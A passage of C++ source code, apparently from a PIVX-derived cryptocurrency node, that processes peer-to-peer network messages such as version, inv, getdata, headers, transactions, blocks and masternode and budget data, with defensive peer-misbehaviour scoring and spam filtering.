insecure_rand; for (auto mi = mapMix.begin(); mi != mapMix.end() && nRelayNodes-- > 0; ++mi) mi->second->PushAddress(addr, insecure_rand); }; connman.ForEachNodeThen(std::move(sortfunc), std::move(pushfunc)); } bool static PushTierTwoGetDataRequest(const CInv& inv, CNode* pfrom, CConnman& connman, CNetMsgMaker& msgMaker) { if (inv.type == MSG_SPORK) { if (mapSporks.count(inv.hash)) { CDataStream ss(SER_NETWORK, PROTOCOL_VERSION); ss.reserve(1000); ss << mapSporks[inv.hash]; connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::SPORK, ss)); return true; } } if (inv.type == MSG_MASTERNODE_WINNER) { if (masternodePayments.mapMasternodePayeeVotes.count(inv.hash)) { CDataStream ss(SER_NETWORK, PROTOCOL_VERSION); ss.reserve(1000); ss << masternodePayments.mapMasternodePayeeVotes[inv.hash]; connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::MNWINNER, ss)); return true; } } if (inv.type == MSG_BUDGET_VOTE) { if (g_budgetman.HaveSeenProposalVote(inv.hash)) { connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::BUDGETVOTE, g_budgetman.GetProposalVoteSerialized(inv.hash))); return true; } } if (inv.type == MSG_BUDGET_PROPOSAL) { if (g_budgetman.HaveProposal(inv.hash)) { connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::BUDGETPROPOSAL, g_budgetman.GetProposalSerialized(inv.hash))); return true; } } if (inv.type == MSG_BUDGET_FINALIZED_VOTE) { if (g_budgetman.HaveSeenFinalizedBudgetVote(inv.hash)) { connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::FINALBUDGETVOTE, g_budgetman.GetFinalizedBudgetVoteSerialized(inv.hash))); return true; } } if (inv.type == MSG_BUDGET_FINALIZED) { if (g_budgetman.HaveFinalizedBudget(inv.hash)) { connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::FINALBUDGET, g_budgetman.GetFinalizedBudgetSerialized(inv.hash))); return true; } } if (inv.type == MSG_MASTERNODE_ANNOUNCE) { if (mnodeman.mapSeenMasternodeBroadcast.count(inv.hash)) { CDataStream ss(SER_NETWORK, PROTOCOL_VERSION); ss.reserve(1000); ss << mnodeman.mapSeenMasternodeBroadcast[inv.hash]; connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::MNBROADCAST, ss)); return true; } } if (inv.type == MSG_MASTERNODE_PING) { if (mnodeman.mapSeenMasternodePing.count(inv.hash)) { CDataStream ss(SER_NETWORK, PROTOCOL_VERSION); ss.reserve(1000); ss << mnodeman.mapSeenMasternodePing[inv.hash]; connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::MNPING, ss)); return true; } } // nothing was pushed. return false; } void static ProcessGetBlockData(CNode* pfrom, const CInv& inv, CConnman& connman, const std::atomic<bool>& interruptMsgProc) { LOCK(cs_main); CNetMsgMaker msgMaker(pfrom->GetSendVersion()); bool send = false; BlockMap::iterator mi = mapBlockIndex.find(inv.hash); if (mi != mapBlockIndex.end()) { if (chainActive.Contains(mi->second)) { send = true; } else { // To prevent fingerprinting attacks, only send blocks outside of the active // chain if they are valid, and no more than a max reorg depth than the best header // chain we know about. send = mi->second->IsValid(BLOCK_VALID_SCRIPTS) && (pindexBestHeader != NULL) && (chainActive.Height() - mi->second->nHeight < gArgs.GetArg("-maxreorg", DEFAULT_MAX_REORG_DEPTH)); if (!send) { LogPrint(BCLog::NET, "ProcessGetData(): ignoring request from peer=%i for old block that isn't in the main chain\n", pfrom->GetId()); } } } // Don't send not-validated blocks if (send && (mi->second->nStatus & BLOCK_HAVE_DATA)) { // Send block from disk CBlock block; if (!ReadBlockFromDisk(block, (*mi).second)) assert(!"cannot load block from disk"); if (inv.type == MSG_BLOCK) connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::BLOCK, block)); else // MSG_FILTERED_BLOCK) { bool send_ = false; CMerkleBlock merkleBlock; { LOCK(pfrom->cs_filter); if (pfrom->pfilter) { send_ = true; merkleBlock = CMerkleBlock(block, *pfrom->pfilter); } } if (send_) { connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::MERKLEBLOCK, merkleBlock)); // CMerkleBlock just contains hashes, so also push any transactions in the block the client did not see // This avoids hurting performance by pointlessly requiring a round-trip // Note that there is currently no way for a node to request any single transactions we didnt send here - // they must either disconnect and retry or request the full block. // Thus, the protocol spec specified allows for us to provide duplicate txn here, // however we MUST always provide at least what the remote peer needs for (std::pair<unsigned int, uint256>& pair : merkleBlock.vMatchedTxn) connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::TX, *block.vtx[pair.first])); } // else // no response } // Trigger them to send a getblocks request for the next batch of inventory if (inv.hash == pfrom->hashContinue) { // Bypass PushInventory, this must send even if redundant, // and we want it right after the last block so they don't // wait for other stuff first. std::vector<CInv> vInv; vInv.emplace_back(MSG_BLOCK, chainActive.Tip()->GetBlockHash()); connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::INV, vInv)); pfrom->hashContinue.SetNull(); } } } // Only return true if the inv type can be answered, not supported types return false. bool static IsTierTwoInventoryTypeKnown(int type) { return type == MSG_SPORK || type == MSG_MASTERNODE_WINNER || type == MSG_BUDGET_VOTE || type == MSG_BUDGET_PROPOSAL || type == MSG_BUDGET_FINALIZED || type == MSG_BUDGET_FINALIZED_VOTE || type == MSG_MASTERNODE_ANNOUNCE || type == MSG_MASTERNODE_PING; } void static ProcessGetData(CNode* pfrom, CConnman& connman, const std::atomic<bool>& interruptMsgProc) { AssertLockNotHeld(cs_main); std::deque<CInv>::iterator it = pfrom->vRecvGetData.begin(); std::vector<CInv> vNotFound; CNetMsgMaker msgMaker(pfrom->GetSendVersion()); { LOCK(cs_main); while (it != pfrom->vRecvGetData.end() && (it->type == MSG_TX || IsTierTwoInventoryTypeKnown(it->type))) { if (interruptMsgProc) return; // Don't bother if send buffer is too full to respond anyway if (pfrom->fPauseSend) break; const CInv &inv = *it; it++; // Send stream from relay memory bool pushed = false; if (inv.type == MSG_TX) { auto txinfo = mempool.info(inv.hash); if (txinfo.tx) { // future: add timeLastMempoolReq check CDataStream ss(SER_NETWORK, PROTOCOL_VERSION); ss.reserve(1000); ss << *txinfo.tx; connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::TX, ss)); pushed = true; } } if (!pushed) { // Now check if it's a tier two data request and push it. pushed = PushTierTwoGetDataRequest(inv, pfrom, connman, msgMaker); } if (!pushed) { vNotFound.push_back(inv); } // todo: inventory signal } } // release cs_main if (it != pfrom->vRecvGetData.end()) { const CInv &inv = *it; it++; if (inv.type == MSG_BLOCK || inv.type == MSG_FILTERED_BLOCK) { ProcessGetBlockData(pfrom, inv, connman, interruptMsgProc); } } pfrom->vRecvGetData.erase(pfrom->vRecvGetData.begin(), it); if (!vNotFound.empty()) { // Let the peer know that we didn't find what it asked for, so it doesn't // have to wait around forever. Currently only SPV clients actually care // about this message: it's needed when they are recursively walking the // dependencies of relevant unconfirmed transactions. SPV clients want to // do that because they want to know about (and store and rebroadcast and // risk analyze) the dependencies of transactions relevant to them, without // having to download the entire memory pool. connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::NOTFOUND, vNotFound)); } } static void CheckBlockSpam(CValidationState& state, CNode* pfrom, const uint256& hashBlock) { // Block spam filtering if (!gArgs.GetBoolArg("-blockspamfilter", DEFAULT_BLOCK_SPAM_FILTER)) { return; } CNodeState *nodestate = State(pfrom->GetId()); if(!nodestate) { return; } const auto it = mapBlockIndex.find(hashBlock); if (it == mapBlockIndex.end()) { return; } nodestate->nodeBlocks.onBlockReceived(it->second->nHeight); bool nodeStatus = true; // UpdateState will return false if the node is attacking us or update the score and return true. nodeStatus = nodestate->nodeBlocks.updateState(state, nodeStatus); int nDoS = 0; if (state.IsInvalid(nDoS)) { if (nDoS > 0) { LOCK(cs_main); Misbehaving(pfrom->GetId(), nDoS); } nodeStatus = false; } if (!nodeStatus) { LogPrintf("Block spam protection: %s\n", hashBlock.ToString()); } } bool fRequestedSporksIDB = false; bool static ProcessMessage(CNode* pfrom, std::string strCommand, CDataStream& vRecv, int64_t nTimeReceived, CConnman& connman, std::atomic<bool>& interruptMsgProc) { LogPrint(BCLog::NET, "received: %s (%u bytes) peer=%d\n", SanitizeString(strCommand), vRecv.size(), pfrom->id); if (gArgs.IsArgSet("-dropmessagestest") && GetRand(gArgs.GetArg("-dropmessagestest", 0)) == 0) { LogPrintf("dropmessagestest DROPPING RECV MESSAGE\n"); return true; } if (strCommand == NetMsgType::VERSION) { // Each connection can only send one version message if (pfrom->nVersion != 0) { connman.PushMessage(pfrom, CNetMsgMaker(INIT_PROTO_VERSION).Make(NetMsgType::REJECT, strCommand, REJECT_DUPLICATE, std::string("Duplicate version message"))); LOCK(cs_main); Misbehaving(pfrom->GetId(), 1); return false; } int64_t nTime; CAddress addrMe; CAddress addrFrom; uint64_t nNonce = 1; uint64_t nServiceInt; ServiceFlags nServices; int nVersion; int nSendVersion; std::string strSubVer; std::string cleanSubVer; int nStartingHeight = -1; vRecv >> nVersion >> nServiceInt >> nTime >> addrMe; nSendVersion = std::min(nVersion, PROTOCOL_VERSION); nServices = ServiceFlags(nServiceInt); if (!pfrom->fInbound) { connman.SetServices(pfrom->addr, nServices); } if (pfrom->nServicesExpected & ~nServices) { LogPrint(BCLog::NET, "peer=%d does not offer the expected services (%08x offered, %08x expected); disconnecting\n", pfrom->id, nServices, pfrom->nServicesExpected); connman.PushMessage(pfrom, CNetMsgMaker(INIT_PROTO_VERSION).Make(NetMsgType::REJECT, strCommand, REJECT_NONSTANDARD, strprintf("Expected to offer services %08x", pfrom->nServicesExpected))); pfrom->fDisconnect = true; return false; } if (pfrom->DisconnectOldProtocol(nVersion, ActiveProtocol(), strCommand)) return false; if (nVersion == 10300) nVersion = 300; if (!vRecv.empty()) vRecv >> addrFrom >> nNonce; if (!vRecv.empty()) { vRecv >> LIMITED_STRING(strSubVer, MAX_SUBVERSION_LENGTH); cleanSubVer = SanitizeString(strSubVer); } if (!vRecv.empty()) { vRecv >> nStartingHeight; } // Disconnect if we connected to ourself if (pfrom->fInbound && !connman.CheckIncomingNonce(nNonce)) { LogPrintf("connected to self at %s, disconnecting\n", pfrom->addr.ToString()); pfrom->fDisconnect = true; return true; } if (pfrom->fInbound && addrMe.IsRoutable()) { SeenLocal(addrMe); } // Be shy and don't send version until we hear if (pfrom->fInbound) PushNodeVersion(pfrom, connman, GetAdjustedTime()); connman.PushMessage(pfrom, CNetMsgMaker(INIT_PROTO_VERSION).Make(NetMsgType::VERACK)); pfrom->nServices = nServices; pfrom->SetAddrLocal(addrMe); { LOCK(pfrom->cs_SubVer); pfrom->strSubVer = strSubVer; pfrom->cleanSubVer = cleanSubVer; } pfrom->nStartingHeight = nStartingHeight; pfrom->fClient = !(nServices & NODE_NETWORK); { LOCK(pfrom->cs_filter); if (!vRecv.empty()) { vRecv >> pfrom->fRelayTxes; // set to true after we get the first filter* message } else { pfrom->fRelayTxes = true; } } // Change version pfrom->SetSendVersion(nSendVersion); pfrom->nVersion = nVersion; { LOCK(cs_main); // Potentially mark this peer as a preferred download peer. UpdatePreferredDownload(pfrom, State(pfrom->GetId())); } if (!pfrom->fInbound) { // Advertise our address if (fListen && !IsInitialBlockDownload()) { CAddress addr = GetLocalAddress(&pfrom->addr, pfrom->GetLocalServices()); FastRandomContext insecure_rand; if (addr.IsRoutable()) { LogPrintf("ProcessMessages: advertising address %s\n", addr.ToString()); pfrom->PushAddress(addr, insecure_rand); } else if (IsPeerAddrLocalGood(pfrom)) { addr.SetIP(addrMe); LogPrintf("ProcessMessages: advertising address %s\n", addr.ToString()); pfrom->PushAddress(addr, insecure_rand); } } // Get recent addresses if (pfrom->fOneShot || pfrom->nVersion >= CADDR_TIME_VERSION || connman.GetAddressCount() < 1000) { connman.PushMessage(pfrom, CNetMsgMaker(nSendVersion).Make(NetMsgType::GETADDR)); pfrom->fGetAddr = true; } connman.MarkAddressGood(pfrom->addr); } std::string remoteAddr; if (fLogIPs) remoteAddr = ", peeraddr=" + pfrom->addr.ToString(); LogPrint(BCLog::NET, "receive version message: %s: version %d, blocks=%d, us=%s, peer=%d%s\n", cleanSubVer, pfrom->nVersion, pfrom->nStartingHeight, addrMe.ToString(), pfrom->id, remoteAddr); int64_t nTimeOffset = nTime - GetTime(); pfrom->nTimeOffset = nTimeOffset; const int nTimeSlotLength = Params().GetConsensus().nTimeSlotLength; if (abs64(nTimeOffset) < 2 * nTimeSlotLength) { AddTimeData(pfrom->addr, nTimeOffset, nTimeSlotLength); } else { LogPrintf("timeOffset (%d seconds) too large. Disconnecting node %s\n", nTimeOffset, pfrom->addr.ToString().c_str()); pfrom->fDisconnect = true; CheckOffsetDisconnectedPeers(pfrom->addr); } // Feeler connections exist only to verify if address is online. if (pfrom->fFeeler) { assert(pfrom->fInbound == false); pfrom->fDisconnect = true; } // INFINCOINCASH: We use certain sporks during IBD, so check to see if they are // available. If not, ask the first peer connected for them. // TODO: Move this to an instant broadcast of the sporks. bool fMissingSporks = !pSporkDB->SporkExists(SPORK_14_NEW_PROTOCOL_ENFORCEMENT) || !pSporkDB->SporkExists(SPORK_15_NEW_PROTOCOL_ENFORCEMENT_2) || !pSporkDB->SporkExists(SPORK_19_COLDSTAKING_MAINTENANCE) || !pSporkDB->SporkExists(SPORK_20_SAPLING_MAINTENANCE); if (fMissingSporks || !fRequestedSporksIDB){ LogPrintf("asking peer for sporks\n"); connman.PushMessage(pfrom, CNetMsgMaker(nSendVersion).Make(NetMsgType::GETSPORKS)); fRequestedSporksIDB = true; } return true; } else if (pfrom->nVersion == 0) { // Must have a version message before anything else LOCK(cs_main); Misbehaving(pfrom->GetId(), 1); return false; } // At this point, the outgoing message serialization version can't change. CNetMsgMaker msgMaker(pfrom->GetSendVersion()); if (strCommand == NetMsgType::VERACK) { pfrom->SetRecvVersion(std::min(pfrom->nVersion.load(), PROTOCOL_VERSION)); // Mark this node as currently connected, so we update its timestamp later. if (pfrom->fNetworkNode) { LOCK(cs_main); State(pfrom->GetId())->fCurrentlyConnected = true; } pfrom->fSuccessfullyConnected = true; LogPrintf("New outbound peer connected: version: %d, blocks=%d, peer=%d%s\n", pfrom->nVersion.load(), pfrom->nStartingHeight, pfrom->GetId(), (fLogIPs ? strprintf(", peeraddr=%s", pfrom->addr.ToString()) : "")); } else if (strCommand == NetMsgType::ADDR) { std::vector<CAddress> vAddr; vRecv >> vAddr; // Don't want addr from older versions unless seeding if (pfrom->nVersion < CADDR_TIME_VERSION && connman.GetAddressCount() > 1000) return true; if (vAddr.size() > 1000) { LOCK(cs_main); Misbehaving(pfrom->GetId(), 20); return error("message addr size() = %u", vAddr.size()); } // Store the new addresses std::vector<CAddress> vAddrOk; int64_t nNow = GetAdjustedTime(); int64_t nSince = nNow - 10 * 60; for (CAddress& addr : vAddr) { if (interruptMsgProc) return true; if ((addr.nServices & REQUIRED_SERVICES) != REQUIRED_SERVICES) continue; if (addr.nTime <= 100000000 || addr.nTime > nNow + 10 * 60) addr.nTime = nNow - 5 * 24 * 60 * 60; pfrom->AddAddressKnown(addr); bool fReachable = IsReachable(addr); if (addr.nTime > nSince && !pfrom->fGetAddr && vAddr.size() <= 10 && addr.IsRoutable()) { // Relay to a limited number of other nodes RelayAddress(addr, fReachable, connman); } // Do not store addresses outside our network if (fReachable) vAddrOk.push_back(addr); } connman.AddNewAddresses(vAddrOk, pfrom->addr, 2 * 60 * 60); if (vAddr.size() < 1000) pfrom->fGetAddr = false; if (pfrom->fOneShot) pfrom->fDisconnect = true; } else if (strCommand == NetMsgType::INV) { std::vector<CInv> vInv; vRecv >> vInv; if (vInv.size() > MAX_INV_SZ) { LOCK(cs_main); Misbehaving(pfrom->GetId(), 20); return error("message inv size() = %u", vInv.size()); } LOCK(cs_main); std::vector<CInv> vToFetch; for (unsigned int nInv = 0; nInv < vInv.size(); nInv++) { const CInv& inv = vInv[nInv]; if (interruptMsgProc) return true; // Reject deprecated messages if (inv.type == MSG_TXLOCK_REQUEST || inv.type == MSG_TXLOCK_VOTE) { Misbehaving(pfrom->GetId(), 20); return error("message inv deprecated %d", (int)inv.type); } pfrom->AddInventoryKnown(inv); bool fAlreadyHave = AlreadyHave(inv); LogPrint(BCLog::NET, "got inv: %s %s peer=%d\n", inv.ToString(), fAlreadyHave ? "have" : "new", pfrom->id); if (!fAlreadyHave && !fImporting && !fReindex && inv.type != MSG_BLOCK) pfrom->AskFor(inv); if (inv.type == MSG_BLOCK) { UpdateBlockAvailability(pfrom->GetId(), inv.hash); if (!fAlreadyHave && !fImporting && !fReindex && !mapBlocksInFlight.count(inv.hash)) { // Add this to the list of blocks to request vToFetch.push_back(inv); LogPrint(BCLog::NET, "getblocks (%d) %s to peer=%d\n", pindexBestHeader->nHeight, inv.hash.ToString(), pfrom->id); } } } if (!vToFetch.empty()) connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::GETDATA, vToFetch)); } else if (strCommand == NetMsgType::GETDATA) { std::vector<CInv> vInv; vRecv >> vInv; if (vInv.size() > MAX_INV_SZ) { LOCK(cs_main); Misbehaving(pfrom->GetId(), 20); return error("message getdata size() = %u", vInv.size()); } if (vInv.size() != 1) LogPrint(BCLog::NET, "received getdata (%u invsz) peer=%d\n", vInv.size(), pfrom->id); if (vInv.size() > 0) LogPrint(BCLog::NET, "received getdata for: %s peer=%d\n", vInv[0].ToString(), pfrom->id); pfrom->vRecvGetData.insert(pfrom->vRecvGetData.end(), vInv.begin(), vInv.end()); ProcessGetData(pfrom, connman, interruptMsgProc); } else if (strCommand == NetMsgType::GETBLOCKS || strCommand == NetMsgType::GETHEADERS) { CBlockLocator locator; uint256 hashStop; vRecv >> locator >> hashStop; if (locator.vHave.size() > MAX_LOCATOR_SZ) { LogPrint(BCLog::NET, "getblocks locator size %lld > %d, disconnect peer=%d\n", locator.vHave.size(), MAX_LOCATOR_SZ, pfrom->GetId()); pfrom->fDisconnect = true; return true; } LOCK(cs_main); // Find the last block the caller has in the main chain CBlockIndex* pindex = FindForkInGlobalIndex(chainActive, locator); // Send the rest of the chain if (pindex) pindex = chainActive.Next(pindex); int nLimit = 500; LogPrint(BCLog::NET, "getblocks %d to %s limit %d from peer=%d\n", (pindex ? pindex->nHeight : -1), hashStop.IsNull() ? "end" : hashStop.ToString(), nLimit, pfrom->id); for (; pindex; pindex = chainActive.Next(pindex)) { if (pindex->GetBlockHash() == hashStop) { LogPrint(BCLog::NET, " getblocks stopping at %d %s\n", pindex->nHeight, pindex->GetBlockHash().ToString()); break; } pfrom->PushInventory(CInv(MSG_BLOCK, pindex->GetBlockHash())); if (--nLimit <= 0) { // When this block is requested, we'll send an inv that'll make them // getblocks the next batch of inventory. LogPrint(BCLog::NET, " getblocks stopping at limit %d %s\n", pindex->nHeight, pindex->GetBlockHash().ToString()); pfrom->hashContinue = pindex->GetBlockHash(); break; } } } else if (strCommand == NetMsgType::HEADERS && Params().HeadersFirstSyncingActive()) { CBlockLocator locator; uint256 hashStop; vRecv >> locator >> hashStop; if (locator.vHave.size() > MAX_LOCATOR_SZ) { LogPrint(BCLog::NET, "getblocks locator size %lld > %d, disconnect peer=%d\n", locator.vHave.size(), MAX_LOCATOR_SZ, pfrom->GetId()); pfrom->fDisconnect = true; return true; } LOCK(cs_main); if (IsInitialBlockDownload()) return true; CBlockIndex* pindex = NULL; if (locator.IsNull()) { // If locator is null, return the hashStop block BlockMap::iterator mi = mapBlockIndex.find(hashStop); if (mi == mapBlockIndex.end()) return true; pindex = (*mi).second; } else { // Find the last block the caller has in the main chain pindex = FindForkInGlobalIndex(chainActive, locator); if (pindex) pindex = chainActive.Next(pindex); } // we must use CBlocks, as CBlockHeaders won't include the 0x00 nTx count at the end std::vector<CBlock> vHeaders; int nLimit = MAX_HEADERS_RESULTS; LogPrintf("getheaders %d to %s from peer=%d\n", (pindex ? pindex->nHeight : -1), hashStop.ToString(), pfrom->id); for (; pindex; pindex = chainActive.Next(pindex)) { vHeaders.push_back(pindex->GetBlockHeader()); if (--nLimit <= 0 || pindex->GetBlockHash() == hashStop) break; } connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::HEADERS, vHeaders)); } else if (strCommand == NetMsgType::TX) { std::vector<uint256> vWorkQueue; std::vector<uint256> vEraseQueue; CTransaction tx(deserialize, vRecv); CTransactionRef ptx = MakeTransactionRef(tx); CInv inv(MSG_TX, tx.GetHash()); pfrom->AddInventoryKnown(inv); LOCK(cs_main); bool ignoreFees = false; bool fMissingInputs = false; CValidationState state; mapAlreadyAskedFor.erase(inv); if (AcceptToMemoryPool(mempool, state, ptx, true, &fMissingInputs, false, ignoreFees)) { mempool.check(pcoinsTip); RelayTransaction(tx, connman); vWorkQueue.push_back(inv.hash); LogPrint(BCLog::MEMPOOL, "%s : peer=%d %s : accepted %s (poolsz %u txn, %u kB)\n", __func__, pfrom->id, pfrom->cleanSubVer, tx.GetHash().ToString(), mempool.size(), mempool.DynamicMemoryUsage() / 1000); // Recursively process any orphan transactions that depended on this one std::set<NodeId> setMisbehaving; for(unsigned int i = 0; i < vWorkQueue.size(); i++) { std::map<uint256, std::set<uint256> >::iterator itByPrev = mapOrphanTransactionsByPrev.find(vWorkQueue[i]); if(itByPrev == mapOrphanTransactionsByPrev.end()) continue; for(std::set<uint256>::iterator mi = itByPrev->second.begin(); mi != itByPrev->second.end(); ++mi) { const uint256 &orphanHash = *mi; const auto &orphanTx = mapOrphanTransactions[orphanHash].tx; NodeId fromPeer = mapOrphanTransactions[orphanHash].fromPeer; bool fMissingInputs2 = false; // Use a dummy CValidationState so someone can't setup nodes to counter-DoS based on orphan // resolution (that is, feeding people an invalid transaction based on LegitTxX in order to get // anyone relaying LegitTxX banned) CValidationState stateDummy; if(setMisbehaving.count(fromPeer)) continue; if(AcceptToMemoryPool(mempool, stateDummy, orphanTx, true, &fMissingInputs2)) { LogPrint(BCLog::MEMPOOL, " accepted orphan tx %s\n", orphanHash.ToString()); RelayTransaction(*orphanTx, connman); vWorkQueue.push_back(orphanHash); vEraseQueue.push_back(orphanHash); } else if(!fMissingInputs2) { int nDos = 0; if(stateDummy.IsInvalid(nDos) && nDos > 0) { // Punish peer that gave us an invalid orphan tx Misbehaving(fromPeer, nDos); setMisbehaving.insert(fromPeer); LogPrint(BCLog::MEMPOOL, " invalid orphan tx %s\n", orphanHash.ToString()); } // Has inputs but not accepted to mempool // Probably non-standard or insufficient fee/priority LogPrint(BCLog::MEMPOOL, " removed orphan tx %s\n", orphanHash.ToString()); vEraseQueue.push_back(orphanHash); assert(recentRejects); recentRejects->insert(orphanHash); } mempool.check(pcoinsTip); } } for (uint256& hash : vEraseQueue) EraseOrphanTx(hash); } else if (fMissingInputs) { AddOrphanTx(ptx, pfrom->GetId()); // DoS prevention: do not allow mapOrphanTransactions to grow unbounded unsigned int nMaxOrphanTx = (unsigned int)std::max((int64_t)0, gArgs.GetArg("-maxorphantx", DEFAULT_MAX_ORPHAN_TRANSACTIONS)); unsigned int nEvicted = LimitOrphanTxSize(nMaxOrphanTx); if (nEvicted > 0) LogPrint(BCLog::MEMPOOL, "mapOrphan overflow, removed %u tx\n", nEvicted); } else { // AcceptToMemoryPool() returned false, possibly because the tx is // already in the mempool; if the tx isn't in the mempool that // means it was rejected and we shouldn't ask for it again. if (!mempool.exists(tx.GetHash())) { assert(recentRejects); recentRejects->insert(tx.GetHash()); } if (pfrom->fWhitelisted) { // Always relay transactions received from whitelisted peers, even // if they were rejected from the mempool, allowing the node to // function as a gateway for nodes hidden behind it. // // FIXME: This includes invalid transactions, which means a // whitelisted peer could get us banned! We may want to change // that. RelayTransaction(tx, connman); } } int nDoS = 0; if (state.IsInvalid(nDoS)) { LogPrint(BCLog::MEMPOOLREJ, "%s from peer=%d %s was not accepted into the memory pool: %s\n", tx.GetHash().ToString(), pfrom->id, pfrom->cleanSubVer, FormatStateMessage(state)); if (state.GetRejectCode() < REJECT_INTERNAL) // Never send AcceptToMemoryPool's internal codes over P2P connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::REJECT, strCommand, state.GetRejectCode(), state.GetRejectReason().substr(0, MAX_REJECT_MESSAGE_LENGTH), inv.hash)); if (nDoS > 0) Misbehaving(pfrom->GetId(), nDoS); } } else if (strCommand == NetMsgType::HEADERS && Params().HeadersFirstSyncingActive() && !fImporting && !fReindex) // Ignore headers received while importing { std::vector<CBlockHeader> headers; // Bypass the normal CBlock deserialization, as we don't want to risk deserializing 2000 full blocks. unsigned int nCount = ReadCompactSize(vRecv); if (nCount > MAX_HEADERS_RESULTS) { LOCK(cs_main); Misbehaving(pfrom->GetId(), 20); return error("headers message size = %u", nCount); } headers.resize(nCount); for (unsigned int n = 0; n < nCount; n++) { vRecv >> headers[n]; ReadCompactSize(vRecv); // ignore tx count; assume it is 0. } LOCK(cs_main); if (nCount == 0) { // Nothing interesting. Stop asking this peers for more headers. return true; } CBlockIndex* pindexLast = NULL; for (const CBlockHeader& header : headers) { CValidationState state; if (pindexLast != NULL && header.hashPrevBlock != pindexLast->GetBlockHash()) { Misbehaving(pfrom->GetId(), 20); return error("non-continuous headers sequence"); } /*TODO: this has a CBlock cast on it so that it will compile. There should be a solution for this * before headers are reimplemented on mainnet */ if (!AcceptBlockHeader((CBlock)header, state, &pindexLast)) { int nDoS; if (state.IsInvalid(nDoS)) { if (nDoS > 0) Misbehaving(pfrom->GetId(), nDoS); std::string strError = "invalid header received " + header.GetHash().ToString(); return error(strError.c_str()); } } } if (pindexLast) UpdateBlockAvailability(pfrom->GetId(), pindexLast->GetBlockHash()); if (nCount == MAX_HEADERS_RESULTS && pindexLast) { // Headers message had its maximum size; the peer may have more headers. // TODO: optimize: if pindexLast is an ancestor of chainActive.Tip or pindexBestHeader, continue // from there instead. LogPrintf("more getheaders (%d) to end to peer=%d (startheight:%d)\n", pindexLast->nHeight, pfrom->id, pfrom->nStartingHeight); connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::GETHEADERS, chainActive.GetLocator(pindexLast), UINT256_ZERO)); } } else if (strCommand == NetMsgType::BLOCK && !fImporting && !fReindex) // Ignore blocks received while importing { std::shared_ptr<CBlock> pblock = std::make_shared<CBlock>(); vRecv >> *pblock; const uint256& hashBlock = pblock->GetHash(); CInv inv(MSG_BLOCK, hashBlock); LogPrint(BCLog::NET, "received block %s peer=%d\n", inv.hash.ToString(), pfrom->id); // sometimes we will be sent their most recent block and its not the one we want, in that case tell where we are if (!mapBlockIndex.count(pblock->hashPrevBlock)) { CBlockLocator locator = WITH_LOCK(cs_main, return chainActive.GetLocator();); if (find(pfrom->vBlockRequested.begin(), pfrom->vBlockRequested.end(), hashBlock) != pfrom->vBlockRequested.end()) { // we already asked for this block, so lets work backwards and ask for the previous block connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::GETBLOCKS, locator, pblock->hashPrevBlock)); pfrom->vBlockRequested.emplace_back(pblock->hashPrevBlock); } else { // ask to sync to this block connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::GETBLOCKS, locator, hashBlock)); pfrom->vBlockRequested.emplace_back(hashBlock); } } else { pfrom->AddInventoryKnown(inv); CValidationState state; if (!mapBlockIndex.count(hashBlock)) { WITH_LOCK(cs_main, MarkBlockAsReceived(hashBlock); ); bool fAccepted = true; ProcessNewBlock(state, pfrom, pblock, nullptr, &fAccepted); if (!fAccepted) { CheckBlockSpam(state, pfrom, hashBlock); } WITH_LOCK(cs_main, mapBlockSource.emplace(hashBlock, pfrom->GetId()); ); int nDoS; if(state.IsInvalid(nDoS)) { assert (state.GetRejectCode() < REJECT_INTERNAL); // Blocks are never rejected with internal reject codes connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::REJECT, strCommand, state.GetRejectCode(), state.GetRejectReason().substr(0, MAX_REJECT_MESSAGE_LENGTH), inv.hash)); if(nDoS > 0) { TRY_LOCK(cs_main, lockMain); if(lockMain) Misbehaving(pfrom->GetId(), nDoS); } } //disconnect this node if its old protocol version pfrom->DisconnectOldProtocol(pfrom->nVersion, ActiveProtocol(), strCommand); } else { LogPrint(BCLog::NET, "%s : Already processed block %s, skipping ProcessNewBlock()\n", __func__, pblock->GetHash().GetHex()); } } } // This asymmetric behavior for inbound and outbound connections was introduced // to prevent a fingerprinting attack: an attacker can send specific fake addresses // to users' AddrMan and later request them by sending getaddr messages. // Making users (which are behind NAT and can only make outgoing connections) ignore // getaddr message mitigates the attack. else if ((strCommand == NetMsgType::GETADDR) && (pfrom->fInbound)) { pfrom->vAddrToSend.clear(); std::vector<CAddress> vAddr = connman.GetAddresses(); FastRandomContext insecure_rand; for (const CAddress& addr : vAddr) pfrom->PushAddress(addr, insecure_rand); } else if (strCommand == NetMsgType::MEMPOOL) { if (!(pfrom->GetLocalServices() & NODE_BLOOM) && !pfrom->fWhitelisted) { LogPrint(BCLog::NET, "mempool request with bloom filters disabled, disconnect peer=%d\n", pfrom->GetId()); pfrom->fDisconnect = true; return true; } // todo: limit mempool request with a bandwidth limit LOCK(pfrom->cs_inventory); pfrom->fSendMempool = true; } else if (strCommand == NetMsgType::PING) { if (pfrom->nVersion > BIP0031_VERSION) { uint64_t nonce = 0; vRecv >> nonce; // Echo the message back with the nonce. This allows for two useful features: // // 1) A remote node can quickly check if the connection is operational // 2) Remote nodes can measure the latency of the network thread. If this node // is overloaded it won't respond to pings quickly and the remote node can // avoid sending us more work, like chain download requests. // // The nonce stops the remote getting confused between different pings: without // it, if the remote node sends a ping once per second and this node takes 5 // seconds to respond to each, the 5th ping the remote sends would appear to // return very quickly. connman.PushMessage(pfrom, msgMaker.Make(NetMsgType::PONG, nonce)); } } else if (strCommand == NetMsgType::PONG) { int64_t pingUsecEnd = nTimeReceived; uint64_t nonce = 0; size_t nAvail = vRecv.in_avail(); bool 